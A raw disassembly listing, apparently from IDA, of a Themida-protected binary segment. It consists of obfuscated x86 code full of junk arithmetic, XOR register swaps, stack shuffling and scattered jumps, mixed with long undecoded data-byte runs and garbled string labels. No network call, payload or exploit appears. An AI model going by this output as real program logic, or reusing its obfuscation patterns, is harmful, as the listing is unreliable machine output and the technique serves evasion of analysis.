aISee		db '┴,$Иee',0
		align 4


loc_55AECC:				; CODE XREF: Themida_:005587ABj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	ebx, 13DF7A98h
		sub	ebx, eax
		push	edi
		push	edx
		push	58A5h
		mov	[esp], esi
		mov	esi, 55A40555h
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 309C7A32h
		inc	edx
		neg	edx
		add	edx, 0A704F45h
		jmp	loc_558A77
; ---------------------------------------------------------------------------
		db 81h
		dd 42BF47F5h, 0E9E801F6h, 5E27h, 386ABF2Dh, 0CEE95B30h
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AF2F:				; CODE XREF: Themida_:0056312Aj
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55439F
; ---------------------------------------------------------------------------
		db 5Ch,	5Dh, 8Bh
		dd 0C483243Ch, 5BDE0104h, 5604C683h, 0FF8648E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AF5D:				; CODE XREF: Themida_:00555514j
		not	ebp
		xor	esi, ebp
		xor	ebp, esi
		xor	esi, ebp
		xor	esi, eax
		xor	eax, esi
		jmp	loc_563147
; ---------------------------------------------------------------------------


loc_55AF6E:				; CODE XREF: Themida_:0055C172j
		add	esp, 4
		sub	esi, 6DCD7E80h
		push	edx
		mov	edx, 52BE455Dh
		add	esi, edx
		pop	edx
		add	esi, ebp
		sub	esi, 52BE455Dh
		add	esi, 6DCD7E80h
		pop	ebp
		jmp	loc_55E1EC
; ---------------------------------------------------------------------------


loc_55AF97:				; CODE XREF: Themida_:0055AA34j
		mov	edx, 4CC95520h
		sub	edx, 6A2236F7h
		shl	edx, 5
		jmp	loc_55D228
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 27385437h, 1C05C581h, 0ED81009Bh, 346E52DFh,	0FCB3E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AFC2:				; CODE XREF: Themida_:005580E8j
		push	eax
		mov	eax, 63B26194h
		jmp	loc_553DC1
; ---------------------------------------------------------------------------


loc_55AFCD:				; CODE XREF: Themida_:00565A04j
		push	esp
		pop	eax
		jmp	loc_556211
; ---------------------------------------------------------------------------


loc_55AFD4:				; CODE XREF: Themida_:0055E7DDj
		pop	edx
		sub	ebp, 3A701EB0h
		sub	ebp, esi
		add	ebp, 3A701EB0h
		pop	esi
		jmp	loc_557B20
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 87000000h, 815C2434h, 4ECh, 242C8900h, 3736E9BDh, 86F58150h
		dd 6802325Ch, 24D0h, 0E9242C89h, 37FCh
; ---------------------------------------------------------------------------


loc_55B014:				; CODE XREF: Themida_:0055AE3Ej
		or	ebp, 60772F43h
		xor	ebp, 0F9FFFFFBh
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_559EB1
; ---------------------------------------------------------------------------
		dd 0FF240C89h, 0E9042474h, 0FFFF99E6h, 8104C483h, 0FFE97CC5h
		dd 5DE989EEh, 2454E9h, 0BE98100h, 0E9626B5Ah, 3C2Eh, 0B298E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B062:				; CODE XREF: Themida_:0055EC1Fj
		mov	ebx, [esp]
		jmp	loc_557365
; ---------------------------------------------------------------------------
aIxps		db '┴ЕPИЙ',27h,0
		align 2


loc_55B072:				; CODE XREF: Themida_:00557ACDj
		add	edi, 4
		jmp	loc_55EA6A
; ---------------------------------------------------------------------------
		dw 0F131h
		dd 0FF7E06E9h, 243489FFh, 4D27C968h, 9AA9E975h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B08E:				; CODE XREF: Themida_:0055A6F8j
		push	4D21h
		mov	[esp], ebx
		mov	ebx, 582D776Fh
		push	ebx
		jmp	loc_566436
; ---------------------------------------------------------------------------
		db 1, 0EBh, 5Dh
		dd 8B241C87h, 0DC2D2424h, 5176F76h, 7BEF76E9h, 0E92DD829h
		dd 687BEF76h, 559Ch, 0BD242C89h, 6F9313F4h, 0F39EC581h
		dd 0BF5707FCh, 75D83DCDh, 7396C781h, 0CF812307h, 47323F07h
		dd 6C79CF81h, 5FE94EDDh, 48000097h, 9927BA0Dh, 7D120546h
		dd 0F03547ACh, 161FA1Eh, 4FE958C2h, 87FFFFF1h, 515C240Ch
		dd 516EFB9h, 0F181490Ah, 20D40A2h, 3277C981h, 0E9C12C37h
		dd 67AE905h
		db 2 dup(0)
word_55B122	dw 8B66h		; DATA XREF: Themida_:005529A0o
		dd 0EC81240Ch, 4, 89241489h, 4BB53E2h, 1000000h, 0B9515BDAh
		dd 4, 2EA1EA81h, 0CA290395h, 5774E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B14D:				; CODE XREF: Themida_:00567D71j
		pop	ebx
		neg	ecx
		push	eax
		mov	eax, 0AB01CFCh
		shr	eax, 7
		shl	eax, 8
		not	eax
		jmp	loc_561644
; ---------------------------------------------------------------------------
		db 1
		dd 46C005D8h, 670502CDh, 53451661h, 70A0BE56h, 0EED13EF4h
		dd 3FE9D6F7h, 89FFFFABh, 4B9240Ch, 0F710DC78h, 0B0E981D9h
		dd 4169400Ch, 562AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B195:				; CODE XREF: Themida_:0055F5BCj
		add	edi, ebx
		pop	ebx
		jmp	loc_55DE91
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 0FCh
		dd 68FFFFF0h, 5A4Fh, 0BE243489h, 1FF53E70h, 535EF001h
		dd 7A12B9BBh, 0E9D80106h, 5B6Fh, 2C8BEF01h, 4C48324h, 0E6E9F729h
		dd 81FFFF81h, 4ECh, 353BE900h, 0ED810000h, 3FC97C3Ah, 875DEF01h
		dd 248B243Ch, 242C3324h, 33242C31h, 248B242Ch, 4E09E924h
		dd 54BD0000h, 0C15A185Bh, 51E907E5h, 59FFFF8Ch,	5C241487h
		dd 4C681h, 0BF570000h, 2, 7A46E9h, 34FF5B00h, 9C7EE924h
		dd 1C310000h, 241C3324h, 0FFD82BE9h, 0E9CD89FFh, 0C5DAh
; ---------------------------------------------------------------------------


loc_55B238:				; CODE XREF: Themida_:0056172Aj
		mov	ecx, edx
		pop	edx
		or	edx, ecx
		pop	ecx
		neg	edx
		xor	edx, 0DEC7C12Ch
		xor	ebx, edx
		pop	edx
		jmp	loc_55F884
; ---------------------------------------------------------------------------


loc_55B24E:				; CODE XREF: Themida_:00561C1Ej
		mov	ebp, [esp]
		add	esp, 4
		add	esi, eax
		pop	eax
		mov	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	9A9h
		mov	[esp], edx
		mov	edx, 72174054h
		add	ecx, 264920D2h
		add	ecx, 107A4003h
		add	ecx, edx
		sub	ecx, 107A4003h
		sub	ecx, 264920D2h
		pop	edx
		shl	ecx, 2
		neg	ecx
		xor	ecx, 684F42B5h
		jmp	loc_563831
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28100h, 87000000h, 0F75C2414h, 88EE81D6h, 0E97DC13Ah
		dd 0FFFFBA52h
; ---------------------------------------------------------------------------


loc_55B2B8:				; CODE XREF: Themida_:0055B91Bj
		dec	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 16D75BE9h
		sub	edx, 14CB13BFh
		or	edx, 17912485h
		shr	edx, 5
		jmp	loc_556760
; ---------------------------------------------------------------------------
aA0Ys		db '╠ж─а$0оYИ}',0Bh,0
		align 4
		dd 83240489h, 0CCE904ECh, 89FFFF9Eh, 65BE2434h,	0E95C794Ah
		dd 2EBEh
; ---------------------------------------------------------------------------


loc_55B300:				; CODE XREF: Themida_:0055C9D2j
		push	5417D50h
		pop	edi
		xor	edi, 0C286B738h
		jmp	loc_55E6DF
; ---------------------------------------------------------------------------
aSSu		db 'S╥)ИН;',0
		db 0
; ---------------------------------------------------------------------------


loc_55B319:				; CODE XREF: Themida_:0055E2FDj
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_555E21
; ---------------------------------------------------------------------------
		dd 9C2404FFh, 0FF788EE9h, 5DEF89FFh, 0E95FFA21h, 0FFFFAA09h
		dd 5B666E04h, 8150E9h, 4C48300h, 5C242C87h, 0FFCC75E9h
		dd 4EC81FFh, 89000000h,	72E9241Ch, 81FFFF92h, 0FFFFFFC6h
		dd 2CF681FFh, 563EBB61h, 0FFB122E9h, 0F9F381FFh, 890DE8C1h
		dd 241C8BD9h, 4C481h, 5B510000h, 83240C8Bh, 0D83104C4h
		dd 5B2434FFh, 5FD268h, 242C8900h, 0B951E589h, 4, 5359CD01h
		dd 3E2EE0BBh, 0B1E38103h, 0D1233F09h, 33E381E3h, 0F7734738h
		dd 87E3E9DBh, 0C1810000h, 108209h, 8759C801h, 0C5E92404h
		db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B3CB:				; CODE XREF: Themida_:00559C72j
		add	esi, eax
		pop	eax
		add	esi, 4
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_563656
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 26ED8100h, 148971Fh, 26C581DDh, 0E948971Fh, 0A6F3h
; ---------------------------------------------------------------------------


loc_55B400:				; CODE XREF: Themida_:00556777j
		mov	esi, [esp]
		add	esp, 4
		and	ebx, 46EA1CB4h
		neg	ebx
		shl	ebx, 6
		sub	ebx, 46AA342Fh
		jmp	loc_55513A
; ---------------------------------------------------------------------------


loc_55B41C:				; CODE XREF: Themida_:0055D72Ej
		xchg	esi, ebx
		pop	esi
		jmp	loc_55D4E5
; ---------------------------------------------------------------------------
		dd 4BDh, 8BEE0100h, 94E9242Ch, 890000C6h, 4C381E3h, 51000000h
		dd 4B9h, 59CB0100h, 0B17EE9h, 24048900h, 468h, 0C7815800h
		dd 6B2535DBh, 2AB95156h, 8953E960h, 240C8BCEh, 2904C483h
		dd 6EE95EF7h
		db 0B0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B46F:				; CODE XREF: Themida_:00554AC2j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		mov	ecx, eax
		mov	edx, ecx
		pop	ecx
		pop	eax
		jmp	loc_557C00
; ---------------------------------------------------------------------------


loc_55B482:				; CODE XREF: Themida_:0055898Dj
		add	esp, 4
		jmp	loc_5625D7
; ---------------------------------------------------------------------------


loc_55B48A:				; CODE XREF: Themida_:005592B3j
		mov	[esp], edi
		jmp	loc_5619D8
; ---------------------------------------------------------------------------
		dw 489h
		dd 5E08924h, 4,	158CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B4A1:				; CODE XREF: Themida_:00556237j
		xor	edi, esi
		pop	esi
		add	eax, edi
		jmp	loc_55B8B5
; ---------------------------------------------------------------------------
byte_55B4AB	db 66h			; DATA XREF: Themida_:00552B00o
		dd 5624048Bh, 8904EC83h, 4832424h, 348B0424h, 4C48324h
		dd 4EC81h, 3C890000h, 0AC1BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B4CE:				; CODE XREF: Themida_:005660B2j
		mov	ebx, 5AD9011Eh
		jmp	loc_560F7D
; ---------------------------------------------------------------------------


loc_55B4D8:				; CODE XREF: Themida_:0055736Dj
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_558E98
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 76E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B4EE:				; CODE XREF: Themida_:0055A6BFj
		mov	[esp], edi
		push	esp
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55723B
; ---------------------------------------------------------------------------
		db 0C0h, 0E6h, 6
		dd 20EA6866h, 241C8966h, 0E9ECB652h, 0FFFFA16Eh
; ---------------------------------------------------------------------------


loc_55B514:				; CODE XREF: Themida_:00556EB4j
		add	esp, 4
		push	2761h
		jmp	loc_5611F0
; ---------------------------------------------------------------------------
byte_55B521	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00552968o
		dd 0BB4BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B529:				; CODE XREF: Themida_:0055C7C0j
		push	ebp
		push	edi
		mov	edi, 31142EE1h
		dec	edi
		jmp	loc_5639CB
; ---------------------------------------------------------------------------
		dw 0F380h
		dd 0F6CBFE9Ch, 35EBE9DBh, 0D6890000h, 8124148Bh, 4C4h
		dd 0E9F10100h, 1975h, 5C243C87h, 4BF57h, 0E9530000h, 0FFFFEA27h
		dd 6603E0C0h, 0E9000068h, 0FFFFB7C1h
dword_55B570	dd 0FF2434FFh, 0E9582434h, 0FFFFC641h, 0C2F9E957h
					; DATA XREF: Themida_:00552A70o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B582:				; CODE XREF: Themida_:0055945Ej
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55AC4D
; ---------------------------------------------------------------------------


loc_55B590:				; CODE XREF: Themida_:005594F4j
		add	esi, ecx
		sub	esi, 74DD3C31h
		pop	ecx
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	ebp
		mov	ebp, 1000h
		push	ebp
		sub	dword ptr [esp], 50FB5471h
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55496B
; ---------------------------------------------------------------------------
		dd 31243433h, 34332434h, 0EC815C24h, 4,	81241489h, 4ECh
		dd 24248900h, 4240481h,	8B000000h, 0C4812414h, 4, 99D1E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B5F9:				; CODE XREF: Themida_:0055CD15j
		xchg	eax, [esp]
		pop	esp
		push	2155h
		jmp	loc_566E6B
; ---------------------------------------------------------------------------


loc_55B607:				; CODE XREF: Themida_:00556665j
		push	edx
		mov	edx, 726EF955h
		jmp	loc_562CD2
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0FFA8B1E9h, 5481B8FFh, 0D8F71982h, 0A01A770Dh, 3E0C11Ah
		dd 50B63635h, 0E9C201F8h, 0FFFFBB0Dh, 72FBC181h, 7BE9AC33h
		dd 89000052h, 0E9505AD0h, 0FFFF885Dh, 7F55C181h, 8DE943A4h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B653:				; CODE XREF: Themida_:0055EC85j
		xor	ebx, eax
		pop	eax
		and	eax, ebx
		mov	ebx, [esp]
		push	edx
		jmp	loc_55AEB0
; ---------------------------------------------------------------------------


loc_55B661:				; CODE XREF: Themida_:0055514Ej
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55B69D
; ---------------------------------------------------------------------------


loc_55B66F:				; CODE XREF: Themida_:00558195j
		mov	ebx, 2731537Bh
		sub	eax, ebx
		pop	ebx
		shr	eax, 5
		jmp	loc_554864
; ---------------------------------------------------------------------------
		db 57h
		dd 0FF8939E9h, 805866FFh, 0EB8043F6h, 0B5517Ah,	0F606EDC0h
		dd 0E1F580DDh, 22D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B69D:				; CODE XREF: Themida_:0055B66Aj
		pop	esp
		shl	ecx, 2
		shr	ecx, 8
		xor	ecx, 77D48533h
		add	edi, ecx
		pop	ecx
		push	53EAh
		mov	[esp], ebx
		jmp	loc_567320
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 0C4B7351h, 5C685552h, 5D49FC5Fh, 0F703E5C1h,	7F17E9DDh
		dd 2C81FFFFh, 37023124h, 0C3815B71h, 71370231h,	0E9243C8Bh
		dd 0B582h, 0E95B6004h, 0FFFFA3C6h
; ---------------------------------------------------------------------------


loc_55B6F0:				; CODE XREF: Themida_:005543F7j
		mov	ebp, 37E7D4Ah
		dec	ebp
		xor	ebp, 729B45F8h
		not	ebp
		shr	ebp, 8
		and	ebp, 591979D9h
		add	ebp, 484EFBFAh
		add	ebx, ebp
		jmp	loc_556BA6
; ---------------------------------------------------------------------------


loc_55B714:				; CODE XREF: Themida_:00562DE8j
		sub	eax, 4A674DEAh
		add	eax, esi
		add	eax, 4A674DEAh
		push	dword ptr [esp]
		pop	esi
		jmp	loc_557AC4
; ---------------------------------------------------------------------------
		db 1, 0D7h, 0E9h
		dd 0FFFFBD46h, 951ABF57h, 0F931086Ah, 0E9243C8Bh, 0D9h
		dd 0BE56E789h, 59E22043h, 524BCE81h, 3CE90FF4h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B753:				; CODE XREF: Themida_:0055FE16j
		pop	ecx
		jmp	loc_563D4A
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 26680000h, 89000040h, 468243Ch, 5F000000h, 0CDE9FE29h
		dd 890000A0h, 4C581E5h,	56000000h, 0FF80A7E9h, 4EC83FFh
		dd 0B5240C89h, 68DDF674h, 3434h, 0E9241489h, 64E2h, 9E60F181h
		dd 0C8312D67h, 46AFE9h,	24048900h, 405E089h, 83000000h
		dd 48704E8h, 21F6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B7BE:				; CODE XREF: Themida_:00565396j
		pop	eax
		jmp	loc_567687
; ---------------------------------------------------------------------------
		dd 46EEBE56h, 0E6C1147Ah, 0EE814E06h, 0EDA242BAh, 505EF501h
		dd 61ADB951h, 0E98162B7h, 0F3E4F31Bh, 0E959C889h, 0FFFFA2FFh
; ---------------------------------------------------------------------------


loc_55B7EC:				; CODE XREF: Themida_:0055C34Ej
		push	esp
		pop	edi
		push	edx
		mov	edx, 209F53D9h
		push	eax
		mov	eax, 13AB7F62h
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_559CEB
; ---------------------------------------------------------------------------


loc_55B80A:				; CODE XREF: Themida_:005644F4j
		sub	eax, 341873B4h
		add	eax, 6FDA1ACAh
		jmp	loc_55E8FC
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0EEE9C889h, 81FFFF76h, 3D2A0EC2h, 2C2811Fh, 0E90AD62Ah
		dd 0BA35h, 522768h, 75A3E900h
		db 2 dup(0FFh)
word_55B83E	dw 5968h		; DATA XREF: Themida_:00552A04o
		dd 89000034h, 5B54241Ch, 0BD78E9h, 0B4BBA00h, 0D0893970h
		dd 3541255Ah, 0C30D0CBEh, 4842BB26h, 0F37DDA0Dh, 7836E91Fh
		dd 0FF66FFFFh, 0E99C240Ch, 0FFFF7347h, 8E568h, 241C8900h
		dd 0DE12E3BBh, 0EB814B33h, 31F9B85Ch, 2065E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B88D:				; CODE XREF: Themida_:0055324Aj
		push	ebx
		mov	ebx, 448E21E5h
		shl	ebx, 6
		jmp	loc_566971
; ---------------------------------------------------------------------------
aI_1		db '©}IЙ',0
		dd 895FFA29h, 957CE9D7h, 1C8B0000h, 4C48324h, 6769E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B8B5:				; CODE XREF: Themida_:0055B4A6j
		pop	edi
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_552BBB
; ---------------------------------------------------------------------------
		db 89h,	0F5h, 0FFh
		dd 0E95E2434h, 0FFFFDC23h, 4C48358h, 2805E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B8E5:				; CODE XREF: Themida_:0056618Dj
		push	ebx
		mov	ebx, 16856313h
		add	ebx, 5838D5A4h
		mov	ecx, ebx
		pop	ebx
		xor	ecx, 59515C40h
		sub	ecx, 617E62A0h
		xchg	esi, ecx
		neg	esi
		xchg	esi, ecx
		push	613Fh
		mov	[esp], edi
		jmp	loc_566F37
; ---------------------------------------------------------------------------


loc_55B913:				; CODE XREF: Themida_:00553A3Bj
		and	esi, 68977ABFh
		not	esi
		jmp	loc_55B2B8
; ---------------------------------------------------------------------------
		dd 62E9D801h, 5CFFFFB0h, 562DEB81h, 0B9511857h,	0FF10393h
		dd 0C25E181h, 36E95DE8h, 870000ACh, 248B240Ch, 0ADE95224h
		dd 83000034h, 8B042404h, 8957240Ch, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 0BE3BE95Ch,	0EC810000h, 4, 0B8240489h
		dd 4, 8158C501h, 4ECh, 241C8900h, 579F68h, 243C8900h, 4D1BE9h
		dd 4BA00h, 8DE90000h
		db 71h,	2 dup(0)
byte_55B99B	db 0FFh			; DATA XREF: Themida_:00552984o
		dd 0C8B2434h, 0E9545524h, 68BBh, 4D91ED81h, 0C5817682h
		dd 0AADBAF77h, 0E95DEA01h, 0AF53h, 582414F7h, 21F78197h
		dd 1ECFC59h, 0D8015FFBh, 2E8835Bh, 0E9240433h, 3234h, 6824048Bh
		dd 30Bh, 54243C89h, 97DDE95Fh, 0D1B9FFFFh, 0E97ABA04h
		dd 0B16Eh, 3D21BB53h, 0DD093F74h, 83241C8Bh, 0EC8104C4h
		dd 4, 0BE243489h, 585D2ECFh, 0F702EEC1h, 0A3E681D6h, 0C1448440h
		dd 0C68104E6h, 780B8007h, 575EF501h, 216E55BFh,	0B998E923h
		dd 8966FFFFh, 8956240Ch, 4C681E6h, 83000000h, 0FAE904EEh
		dd 8B000015h, 8953241Ch, 4C381E3h, 81000000h, 4C3h, 0EEEE900h
		dd 34FF0000h, 240C8B24h, 9507E9h, 2E2B0D00h, 7DE97025h
		dd 5C000072h, 3DB8505Fh, 313CCC85h, 568AE9C1h, 8B660000h
		dd 0EC812404h, 4, 0E9240489h, 44CCh
; ---------------------------------------------------------------------------


loc_55BA94:				; CODE XREF: Themida_:00557319j
		mov	ebp, esp
		push	esi
		jmp	loc_567301
; ---------------------------------------------------------------------------
		dd 4C581h, 0C5810000h, 2, 0E9242C87h, 77AEh
; ---------------------------------------------------------------------------


loc_55BAB0:				; CODE XREF: Themida_:0055E123j
		mov	[esp], ebx
		push	eax
		mov	ah, 0DCh
		shl	ah, 2
		shr	ah, 3
		push	ebx
		mov	bh, 0FBh
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0C8h
		push	cx
		mov	ch, dl
		not	ch
		jmp	loc_56451E
; ---------------------------------------------------------------------------
		db 5, 0B5h, 55h
		dd 0F2E93809h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BADF:				; CODE XREF: Themida_:0055FEC3j
		pop	edi
		push	edx
		mov	edx, 7E6C4C0Fh
		jmp	loc_5603F2
; ---------------------------------------------------------------------------
		db 2Dh
		dd 6F445397h, 9705D029h, 566F4453h, 0D408A3BEh,	14A7E918h
		dd 0E5C10000h, 0E8F58107h, 0E92FA751h, 0B0F5h
; ---------------------------------------------------------------------------


loc_55BB10:				; CODE XREF: Themida_:00565872j
		push	edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		jmp	loc_5573A1
; ---------------------------------------------------------------------------
word_55BB1E	dw 34FFh		; DATA XREF: Themida_:00552A30o
		dd 24048B24h, 0AC52E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BB2A:				; CODE XREF: Themida_:00554B30j
		mov	esi, ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		add	esi, 0CCC6DEA9h
		sub	ebp, 74A13BDFh
		jmp	loc_553384
; ---------------------------------------------------------------------------
		dd 0FFFFC181h, 9E9FFFFh
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55BB4F:				; CODE XREF: Themida_:00554D9Dj
		push	eax
		push	edx
		mov	dh, bh
		mov	ah, dh
		jmp	loc_55CA25
; ---------------------------------------------------------------------------


loc_55BB5A:				; CODE XREF: Themida_:0056740Dj
		pop	esp
		add	ebp, 4
		jmp	loc_553727
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 4BF24h, 89550000h, 72F2E9FDh, 3C89FFFFh, 4EBA5224h
		dd 0BF143A15h, 0EBC5EAB4h, 0E95AD701h, 0B993h
; ---------------------------------------------------------------------------


loc_55BB8C:				; CODE XREF: Themida_:005629FDj
		xchg	edi, [esp]
		pop	esp
		mov	cl, dl
		jmp	loc_565190
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4EC81h, 34890000h, 1A93BE24h, 4FE9702Dh, 93h, 0D9C380C3h
		dd 0E971B050h, 0FFFF9E5Bh, 0E9E28952h, 8D97h
; ---------------------------------------------------------------------------


loc_55BBC0:				; CODE XREF: Themida_:0055946Bj
		add	bl, 51h
		and	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_567123
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 956EE924h,	0C3810000h, 199F38E4h
		dd 7A2BC381h, 4CE9D935h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BBF3:				; CODE XREF: Themida_:00553A63j
		add	esp, 4
		xchg	ecx, [esp]
		jmp	loc_560D08
; ---------------------------------------------------------------------------
		db 5Eh,	52h, 0BAh
		dd 4, 148BD501h, 6F38E924h, 0A4E90000h
		db 6Fh,	2 dup(0FFh)
byte_55BC17	db 0FFh			; DATA XREF: Themida_:00552B04o
		dd 9CE92C77h, 81FFFF6Fh, 0A41E93C5h, 79F1E91Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BC2A:				; CODE XREF: Themida_:00557434j
		mov	[esp], ecx
		push	eax
		jmp	loc_55C41E
; ---------------------------------------------------------------------------
		db 83h
		dd 0AF6804C4h, 89000034h, 0E589242Ch, 4C581h, 0ED810000h
		dd 4, 31242C33h, 2C33242Ch, 3C895C24h, 835F5024h, 348904ECh
		dd 4EC8324h, 89240C89h,	309AE9E1h, 0D9B10000h, 8012EB80h
		dd 0CB2819EBh, 8019C380h, 8B6612C3h, 0C483240Ch, 0FF21E902h
		dd 5E5FFFFFh, 815BD901h, 0F52263C1h, 81F90147h,	0F52263E9h
		dd 0FAE98147h, 0E9695914h, 0ABDAh, 0C181E189h, 4, 0FF9FF4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BCB5:				; CODE XREF: Themida_:00558DAAj
		inc	ebx
		push	edx
		mov	edx, 0FFFFFFFFh
		jmp	loc_554025
; ---------------------------------------------------------------------------
		db 2Dh,	93h, 1
		dd 0C7018D1Fh, 8124048Bh, 4C4h,	0B33DE900h, 685FFFFFh
		dd 530Ah, 56243C89h, 0B1311268h, 24348B5Ch, 0C104C483h
		dd 0FCE908EEh, 0BE00003Fh, 4, 3066E9h, 24048100h, 4, 0E924148Bh
		dd 0FFFF6FB5h, 0D8277235h, 0C82E929h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BD16:				; CODE XREF: Themida_:0055F58Cj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	1221h
		jmp	loc_5566F1
; ---------------------------------------------------------------------------
byte_55BD49	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005529B0o
		dd 4EC8324h, 89241489h,	5BB53E2h, 0F7677A51h, 0AEB81D3h
		dd 8137255Fh, 736B93F3h, 67F38116h, 1771324h, 0D7E95BDAh
		dd 68000084h, 57FEh, 68241C89h,	4, 245C015Bh, 241C8B04h
		dd 4C481h, 34FF0000h, 0C4815A24h, 4, 6666E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BDA2:				; CODE XREF: Themida_:00563444j
		pop	edi
		jmp	loc_557F5D
; ---------------------------------------------------------------------------


loc_55BDA8:				; CODE XREF: Themida_:00564C99j
		add	esp, 4
		mov	esi, 0F083CB5Dh
		add	esi, edx
		pop	edx
		push	eax
		mov	eax, esi
		push	eax
		pop	edx
		mov	eax, [esp]
		jmp	loc_563826
; ---------------------------------------------------------------------------


loc_55BDC3:				; CODE XREF: Themida_:0055FFC7j
		push	ebx
		push	ebp
		mov	ebp, 149F19C7h
		and	ebp, 6B936440h
		sub	ebp, 1
		sub	ebp, 0A1DAE58Ah
		jmp	loc_56678C
; ---------------------------------------------------------------------------


loc_55BDDE:				; CODE XREF: Themida_:0055499Aj
		dec	esi
		jmp	loc_55716D
; ---------------------------------------------------------------------------
		dd 0BD55E801h, 11D35D56h, 47E1C581h, 0E5C17FDEh, 3ED8102h
		dd 56115B26h, 5410E9h, 240C8900h, 0C181E189h, 4, 46850h
		dd 1580000h, 0AA53E9C1h
		db 2 dup(0)
word_55BE1A	dw 478Fh		; DATA XREF: Themida_:00552B30o
		dd 6D99E940h, 0FBBDFFFFh, 81341408h, 4ECh, 240C8900h, 413EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55BE35:				; CODE XREF: Themida_:005653A3j
		mov	edi, 44E72EA4h
		sub	edi, 2E3E765h
		add	edx, edi
		jmp	loc_55C4C1
; ---------------------------------------------------------------------------
aS_9		db 'яЙИ',0Ah
		db ']',0
		align 2


loc_55BE4E:				; CODE XREF: Themida_:0055469Ej
		mov	dl, ch
		mov	ecx, [esp]
		jmp	loc_55F182
; ---------------------------------------------------------------------------
		dd 0D0B1C181h, 0CF891141h, 0FF7605E9h, 0B5C780FFh, 2810F780h
		dd 2434FFFEh, 83241C8Bh, 0C48304C4h, 2EC8104h, 66000000h
		dd 0B4240489h, 0A542E9FAh
		db 2 dup(0)
word_55BE8A	dw 8F64h		; DATA XREF: Themida_:00552AA0o
		dd 6D29E902h, 1433FFFFh, 9FE95C24h, 4A000000h, 2CEBF281h
